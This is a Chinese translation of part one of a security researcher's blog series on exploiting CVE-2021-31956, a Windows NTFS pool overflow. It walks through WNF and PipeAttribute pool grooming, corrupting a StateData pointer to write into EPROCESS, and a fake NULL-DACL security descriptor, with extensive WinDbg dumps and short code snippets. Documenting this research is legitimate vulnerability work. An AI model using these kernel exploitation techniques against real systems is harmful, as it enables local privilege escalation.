ffff8608b72bf080 ffff9a82c1cd4180 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd41b0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd41e0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd4210 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd4240 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd4270 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd42a0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd42d0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd4300 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd4330 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd4360 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd4390 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd43c0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd43f0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd4420 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd4450 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd4480 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd44b0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd44e0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd4510 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd4540 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd4570 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd45a0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd45d0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd4600 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd4630 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd4660 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd4690 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd46c0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd46f0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd4720 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd4750 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd4780 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd47b0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd47e0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd4810 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd4840 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd4870 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd48a0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd48d0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd4900 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd4930 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd4960 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd4990 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd49c0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd49f0 size: 30 previous size: 0 (Free) NtFE*ffff9a82c1cd4a20 size: 220 previous size: 0 (Allocated) *Wnf Process: ffff8608b72bf080 Pooltag Wnf : Windows Notification Facility, Binary : nt!wnf ffff9a82c1cd4c30 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd4c60 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd4c90 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd4cc0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd4cf0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd4d20 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd4d50 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080 ffff9a82c1cd4d80 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
然而,这里的关键是能够找到一个更有趣的对象进行破坏。作为一个快速解决方案,我们也使用了来自这篇优秀论文中的 PipeAttribute 对象:https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf
typedefstructpipe_attribute { LIST_ENTRY list;char* AttributeName;size_t ValueSize;char* AttributeValue;char data[0];} pipe_attribute_t;
由于 PipeAttribute 块的大小可控且分配在分页池中,因此可以将其放置在易受攻击的 NTFS 块或允许相对写入的 WNF 块旁边。
利用这种布局,我们可以破坏 PipeAttribute 的 Flink 指针,并将其指向一个伪造的管道属性,如上文论文所述。有关该技术的更多详细信息,请参阅该论文。
我们最终得到了以下用于任意读取的内存布局示意图:
虽然这种方法有效并提供了一个可靠且稳定的任意读取原语,但最初的目标是更深入地探索 WNF,以确定攻击者可能如何利用它。
实现任意写入的探索
在经历了这个关于 Pipe Attribute 的小插曲后,我意识到实际上可以控制易受攻击的 NTFS 块的大小。于是我开始研究是否有可能破坏 _WNF_NAME_INSTANCE
结构的 StateData 指针。使用这种方法,只要 DataSize 和 AllocatedSize 能够与目标覆盖区域中的合理值对齐,那么 ExpWnfWriteStateData 中的边界检查就会成功。
查看 _WNF_NAME_INSTANCE
的创建过程,我们可以看到它的大小为 0xA8 加上 POOL_HEADER (0x10),即 0xB8。这最终会被放入段池中大小为 0xC0 的块中:
因此,我们的目标是实现以下情况:
我们可以像之前一样使用任意大小的 _WNF_STATE_DATA
进行喷射,这将导致为每个创建的_WNF_STATE_DATA 分配一个 _WNF_NAME_INSTANCE
实例。
因此,我们最终可以得到我们想要的内存布局,即 _WNF_NAME_INSTANCE
与溢出的 NTFS 块相邻,如下所示:
ffffdd09b35c8010 size: c0 previous size: 0 (Allocated) Wnf Process: ffff8d87686c8080 ffffdd09b35c80d0 size: c0 previous size: 0 (Allocated) Wnf Process: ffff8d87686c8080 ffffdd09b35c8190 size: c0 previous size: 0 (Allocated) Wnf Process: ffff8d87686c8080*ffffdd09b35c8250 size: c0 previous size: 0 (Allocated) *NtFE Pooltag NtFE : Ea.c, Binary : ntfs.sys ffffdd09b35c8310 size: c0 previous size: 0 (Allocated) Wnf Process: ffff8d87686c8080 ffffdd09b35c83d0 size: c0 previous size: 0 (Allocated) Wnf Process: ffff8d87686c8080 ffffdd09b35c8490 size: c0 previous size: 0 (Allocated) Wnf Process: ffff8d87686c8080 ffffdd09b35c8550 size: c0 previous size: 0 (Allocated) Wnf Process: ffff8d87686c8080 ffffdd09b35c8610 size: c0 previous size: 0 (Allocated) Wnf Process: ffff8d87686c8080 ffffdd09b35c86d0 size: c0 previous size: 0 (Allocated) Wnf Process: ffff8d87686c8080 ffffdd09b35c8790 size: c0 previous size: 0 (Allocated) Wnf Process: ffff8d87686c8080 ffffdd09b35c8850 size: c0 previous size: 0 (Allocated) Wnf Process: ffff8d87686c8080 ffffdd09b35c8910 size: c0 previous size: 0 (Allocated) Wnf Process: ffff8d87686c8080 ffffdd09b35c89d0 size: c0 previous size: 0 (Allocated) Wnf Process: ffff8d87686c8080 ffffdd09b35c8a90 size: c0 previous size: 0 (Allocated) Wnf Process: ffff8d87686c8080 ffffdd09b35c8b50 size: c0 previous size: 0 (Allocated) Wnf Process: ffff8d87686c8080 ffffdd09b35c8c10 size: c0 previous size: 0 (Allocated) Wnf Process: ffff8d87686c8080 ffffdd09b35c8cd0 size: c0 previous size: 0 (Allocated) Wnf Process: ffff8d87686c8080 ffffdd09b35c8d90 size: c0 previous size: 0 (Allocated) Wnf Process: ffff8d87686c8080 ffffdd09b35c8e50 size: c0 previous size: 0 (Allocated) Wnf Process: ffff8d87686c8080 ffffdd09b35c8f10 size: c0 previous size: 0 (Allocated) Wnf Process: ffff8d87686c8080
在内存破坏发生之前,我们可以看到以下结构体值:
1: kd> dt _WNF_NAME_INSTANCE ffffdd09b35c8310+0x10nt!_WNF_NAME_INSTANCE +0x000 Header : _WNF_NODE_HEADER +0x008 RunRef :_EX_RUNDOWN_REF +0x010 TreeLinks : _RTL_BALANCED_NODE +0x028 StateName :_WNF_STATE_NAME_STRUCT +0x030 ScopeInstance : 0xffffdd09`ad45d4a0 _WNF_SCOPE_INSTANCE +0x038 StateNameInfo : _WNF_STATE_NAME_REGISTRATION +0x050 StateDataLock : _WNF_LOCK +0x058 StateData : 0xffffdd09`b35b3e10_WNF_STATE_DATA +0x060 CurrentChangeStamp : 1 +0x068 PermanentDataStore : (null) +0x070 StateSubscriptionListLock : _WNF_LOCK +0x078 StateSubscriptionListHead : _LIST_ENTRY [ 0xffffdd09`b35c8398 - 0xffffdd09`b35c8398 ] +0x088 TemporaryNameListEntry : _LIST_ENTRY [ 0xffffdd09`b35c8ee8 - 0xffffdd09`b35c85e8 ] +0x098 CreatorProcess : 0xffff8d87`686c8080 _EPROCESS +0x0a0 DataSubscribersCount : 0n0 +0x0a4 CurrentDeliveryCount : 0n0
在我们触发 NTFS 扩展属性(Extended Attributes)溢出并覆盖了多个字段之后:
1: kd> dt _WNF_NAME_INSTANCE ffffdd09b35c8310+0x10nt!_WNF_NAME_INSTANCE +0x000 Header : _WNF_NODE_HEADER +0x008 RunRef :_EX_RUNDOWN_REF +0x010 TreeLinks : _RTL_BALANCED_NODE +0x028 StateName :_WNF_STATE_NAME_STRUCT +0x030 ScopeInstance : 0x61616161`62626262 _WNF_SCOPE_INSTANCE +0x038 StateNameInfo : _WNF_STATE_NAME_REGISTRATION +0x050 StateDataLock : _WNF_LOCK +0x058 StateData : 0xffff8d87`686c8088_WNF_STATE_DATA +0x060 CurrentChangeStamp : 1 +0x068 PermanentDataStore : (null) +0x070 StateSubscriptionListLock : _WNF_LOCK +0x078 StateSubscriptionListHead : _LIST_ENTRY [ 0xffffdd09`b35c8398 - 0xffffdd09`b35c8398 ] +0x088 TemporaryNameListEntry : _LIST_ENTRY [ 0xffffdd09`b35c8ee8 - 0xffffdd09`b35c85e8 ] +0x098 CreatorProcess : 0xffff8d87`686c8080 _EPROCESS +0x0a0 DataSubscribersCount : 0n0 +0x0a4 CurrentDeliveryCount : 0n0
例如,StateData 指针已被修改为指向一个 EPROCESS 结构体的地址:
1: kd> dx -id 0,0,ffff8d87686c8080 -r1 ((ntkrnlmp!_WNF_STATE_DATA *)0xffff8d87686c8088)((ntkrnlmp!_WNF_STATE_DATA*)0xffff8d87686c8088) : 0xffff8d87686c8088 [Type: _WNF_STATE_DATA *] [+0x000] Header [Type:_WNF_NODE_HEADER] [+0x004] AllocatedSize : 0xffff8d87 [Type: unsignedlong] [+0x008] DataSize : 0x686c8088 [Type: unsignedlong] [+0x00c] ChangeStamp : 0xffff8d87 [Type: unsignedlong]PROCESS ffff8d87686c8080 SessionId: 1 Cid: 1760 Peb: 100371000 ParentCid: 1210 DirBase: 873d5000 ObjectTable: ffffdd09b2999380 HandleCount: 46. Image: TestEAOverflow.exe
我还利用了 CVE-2021-31955 作为快速获取 EPROCESS 地址的方法。这在野外利用中被使用。然而,考虑到这个溢出漏洞的原始性和灵活性,预计这可能不是必需的,并且也可以在低完整性级别下被利用。
不过这里仍然存在一些挑战,它并不像简单地用你想要查找的值覆盖 StateName 那样简单。
StateName 损坏
要成功进行 StateName 查找,内部状态名称需要与查询的外部名称匹配。
在这个阶段,值得更深入地探讨 StateName 查找过程。
正如在 Playing with the Windows Notification Facility 中提到的,每个 _WNF_NAME_INSTANCE
都根据其 StateName 被排序并放入 AVL 树中。
StateName 有外部版本,它是内部版本与 0x41C64E6DA3BC0074 进行异或运算的结果。
例如,外部 StateName 值 0x41c64e6da36d9945
将在内部变为以下值:
1: kd> dx -id 0,0,ffff8d87686c8080 -r1 (*((ntkrnlmp!_WNF_STATE_NAME_STRUCT *)0xffffdd09b35c8348))(*((ntkrnlmp!_WNF_STATE_NAME_STRUCT*)0xffffdd09b35c8348)) [Type: _WNF_STATE_NAME_STRUCT] [+0x000 ( 3: 0)] Version : 0x1 [Type: unsigned __int64] [+0x000 ( 5: 4)] NameLifetime : 0x3 [Type: unsigned__int64] [+0x000 ( 9: 6)] DataScope : 0x4 [Type: unsigned __int64] [+0x000 (10:10)] PermanentData : 0x0 [Type: unsigned__int64] [+0x000 (63:11)] Sequence : 0x1a33 [Type: unsigned __int64]1: kd> dc 0xffffdd09b35c8348ffffdd09`b35c8348 00d19931
或者用位运算表示:
Version = InternalName 0xfLifeTime = (InternalName >> 4) 0x3DataScope = (InternalName >> 6) 0xfIsPermanent = (InternalName >> 0xa) 0x1Sequence = InternalName >> 0xb
这里需要理解的关键点是,虽然 Version、LifeTime、DataScope 和 Sequence 是可控的,但 WnfTemporaryStateName 的 Sequence 号是存储在一个全局变量中的。
从下面可以看出,根据 DataScope,会偏移到当前服务器 Silo Globals 或 Server Silo Globals 来获取 v10,然后将其作为 Sequence,每次递增 1。
然后为了查找一个名称实例,会使用以下代码:
在这种情况下,i[3] 实际上是 _WNF_NAME_INSTANCE
结构的 StateName,因为它位于从 _WNF_SCOPE_INSTANCE
结构的 NameSet 成员根植的 _RTL_BALANCED_NODE
之外。
每个 _WNF_NAME_INSTANCE
都通过 TreeLinks 元素连接在一起。因此,上面的树遍历代码会遍历 AVL 树并使用它来找到正确的 StateName。
从内存破坏的角度来看,一个挑战是虽然你可以确定堆喷射对象的外部 StateName 和内部 StateName,但你并不一定知道哪些对象会与正在溢出的 NTFS 块相邻。
然而,通过精心构造的池溢出,我们可以猜测设置 _WNF_NAME_INSTANCE
结构的 StateName 的适当值。
也可以通过破坏 TreeLinks 指针来构建自己的 AVL 树,但主要需要注意的是要避免触发 safe unlinking protection。
正如我们从 Windows Mitigations 中看到的,微软已经实施了大量的缓解措施,使得堆和池的利用变得更加困难。
在未来的博客文章中,我将深入讨论这如何影响这个特定的漏洞利用以及需要哪些清理工作。
安全描述符 (Security Descriptor)
在开发这个漏洞利用时,我遇到的另一个挑战是安全描述符。
最初我将其设置为用户空间中的安全描述符地址,该地址用于 NtCreateWnfStateName
。
通过比较内核空间中的未修改安全描述符和用户空间中的安全描述符,发现它们是不同的。
内核空间:
1: kd> dx -id 0,0,ffffce86a715f300 -r1 ((ntkrnlmp!_SECURITY_DESCRIPTOR *)0xffff9e8253eca5a0)((ntkrnlmp!_SECURITY_DESCRIPTOR*)0xffff9e8253eca5a0) : 0xffff9e8253eca5a0 [Type: _SECURITY_DESCRIPTOR *] [+0x000] Revision : 0x1 [Type: unsignedchar] [+0x001] Sbz1 : 0x0 [Type: unsignedchar] [+0x002] Control : 0x800c [Type: unsigned short] [+0x008] Owner : 0x0 [Type: void*] [+0x010] Group : 0x28000200000014 [Type: void *] [+0x018] Sacl : 0x14000000000001 [Type: _ACL*] [+0x020] Dacl : 0x101001f0013 [Type:_ACL *]
在将安全描述符重定向到用户空间结构后:
1: kd> dx -id 0,0,ffffce86a715f300 -r1 ((ntkrnlmp!_SECURITY_DESCRIPTOR *)0x23ee3ab6ea0)((ntkrnlmp!_SECURITY_DESCRIPTOR*)0x23ee3ab6ea0) : 0x23ee3ab6ea0 [Type: _SECURITY_DESCRIPTOR *] [+0x000] Revision : 0x1 [Type: unsignedchar] [+0x001] Sbz1 : 0x0 [Type: unsignedchar] [+0x002] Control : 0xc [Type: unsigned short] [+0x008] Owner : 0x0 [Type: void*] [+0x010] Group : 0x0 [Type: void *] [+0x018] Sacl : 0x0 [Type: _ACL*] [+0x020] Dacl : 0x23ee3ab4350 [Type:_ACL *]
随后,我尝试提供具有相同值的伪造安全描述符。这并未如预期般工作,NtUpdateWnfStateData
仍然返回权限被拒绝(-1073741790)。
那么,让我们将 DACL 设置为 NULL,这样 Everyone 组就拥有了完全控制权限。
经过更多实验后,使用以下值修补伪造的安全描述符成功,数据被成功写入我指定的任意位置:
SECURITY_DESCRIPTOR*sd = (SECURITY_DESCRIPTOR*)malloc(sizeof(SECURITY_DESCRIPTOR));sd->Revision = 0x1;sd->Sbz1 = 0;sd->Control = 0x800c;sd->Owner = 0;sd->Group = (PSID)0;sd->Sacl = (PACL)0;sd->Dacl = (PACL)0;
EPROCESS 结构体破坏
最初在测试任意写操作时,我预期当将 StateData 指针设置为 0x6161616161616161 时,会在 memcpy 位置附近发生内核崩溃。然而,实际上 ExpWnfWriteStateData
的执行是在一个工作线程中进行的。当发生访问违规时,该异常会被捕获,并将 NT 状态码 -1073741819(即 STATUS_ACCESS_VIOLATION
)传播回用户空间。这使得初始调试更具挑战性,因为该函数周围的代码是一个显著的热点路径,使用条件断点会导致程序严重停滞。
无论如何,在实现任意写操作后,攻击者通常会利用它来执行基于数据的权限提升或实现任意代码执行。
由于我们使用 CVE-2021-31955 来泄露 EPROCESS 地址,我们将继续沿着这条路径进行研究。
回顾一下,需要采取以下步骤:
-
内部 StateName 与正确的内部 StateName 匹配,以便在需要时可以找到正确的外部 StateName。 -
安全描述符通过 ExpWnfCheckCallerAccess
中的检查。 -
DataSize 和 AllocSize 的偏移量适合所需的内存区域。
总结来说,在发生溢出后,我们有以下内存布局,其中 EPROCESS 被当作 _WNF_STATE_DATA
处理:
然后我们可以演示如何破坏 EPROCESS 结构体:
PROCESS ffff8881dc84e0c0 SessionId: 1 Cid: 13fc Peb: c2bb940000 ParentCid: 1184 DirBase: 4444444444444444 ObjectTable: ffffc7843a65c500 HandleCount: 39. Image: TestEAOverflow.exePROCESS ffff8881dbfee0c0 SessionId: 1 Cid: 073c Peb: f143966000 ParentCid: 13fc DirBase: 135d92000 ObjectTable: ffffc7843a65ba40 HandleCount: 186. Image: conhost.exePROCESS ffff8881dc3560c0 SessionId: 0 Cid: 0448 Peb: 825b82f000 ParentCid: 028c DirBase: 37daf000 ObjectTable: ffffc7843ec49100 HandleCount: 176. Image: WmiApSrv.exe1: kd> dt _WNF_STATE_DATA ffffd68cef97a080+0x8nt!_WNF_STATE_DATA +0x000 Header : _WNF_NODE_HEADER +0x004 AllocatedSize : 0xffffd68c +0x008 DataSize : 0x100 +0x00c ChangeStamp : 21: kd> dc ffff8881dc84e0c0 L50ffff8881`dc84e0c0 0000000300000000 dc84e0c8 ffff8881 ................ffff8881`dc84e0d0 00000100414141424444444444444444 ....BAAADDDDDDDDffff8881`dc84e0e0 44444444444444444444444444444444 DDDDDDDDDDDDDDDDffff8881`dc84e0f0 44444444444444444444444444444444 DDDDDDDDDDDDDDDDffff8881`dc84e100 44444444444444444444444444444444 DDDDDDDDDDDDDDDDffff8881`dc84e110 44444444444444444444444444444444 DDDDDDDDDDDDDDDDffff8881`dc84e120 44444444444444444444444444444444 DDDDDDDDDDDDDDDDffff8881`dc84e130 44444444444444444444444444444444 DDDDDDDDDDDDDDDDffff8881`dc84e140 44444444444444444444444444444444 DDDDDDDDDDDDDDDDffff8881`dc84e150 44444444444444444444444444444444 DDDDDDDDDDDDDDDDffff8881`dc84e160 44444444444444444444444444444444 DDDDDDDDDDDDDDDDffff8881`dc84e170 44444444444444444444444444444444 DDDDDDDDDDDDDDDDffff8881`dc84e180 44444444444444444444444444444444 DDDDDDDDDDDDDDDDffff8881`dc84e190 44444444444444444444444444444444 DDDDDDDDDDDDDDDDffff8881`dc84e1a0 44444444444444444444444444444444 DDDDDDDDDDDDDDDDffff8881`dc84e1b0 44444444444444444444444444444444 DDDDDDDDDDDDDDDDffff8881`dc84e1c0 44444444444444444444444444444444 DDDDDDDDDDDDDDDDffff8881`dc84e1d0 44444444444444440000000000000000 DDDDDDDD........ffff8881`dc84e1e0 00000000000000000000000000000000 ................ffff8881`dc84e1f0 00000000000000000000000000000000 ................
如您所见,EPROCESS+0x8 已被攻击者控制的数据破坏。
此时,典型的利用方法有两种:
-
针对 KTHREAD 结构体的 PreviousMode 成员
-
针对 EPROCESS 的 token
这些方法的优缺点已在 EDG 团队成员利用 KTM 漏洞时讨论过。
由于在实现可靠的权限提升之前仍面临一些挑战,我们将在后续博客文章中讨论下一阶段的内容。
总结
总结来说,我们详细描述了该漏洞及其触发方式。我们看到了如何利用 WNF 实现一组新颖的漏洞利用原语。第一部分的内容就到这里!在下一篇博客中,我将介绍可靠性改进、内核内存清理以及后续工作。
原文始发于微信公众号(securitainment):CVE-2021-31956 Windows 内核漏洞(NTFS 与 WNF)利用 —— 第一部分
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论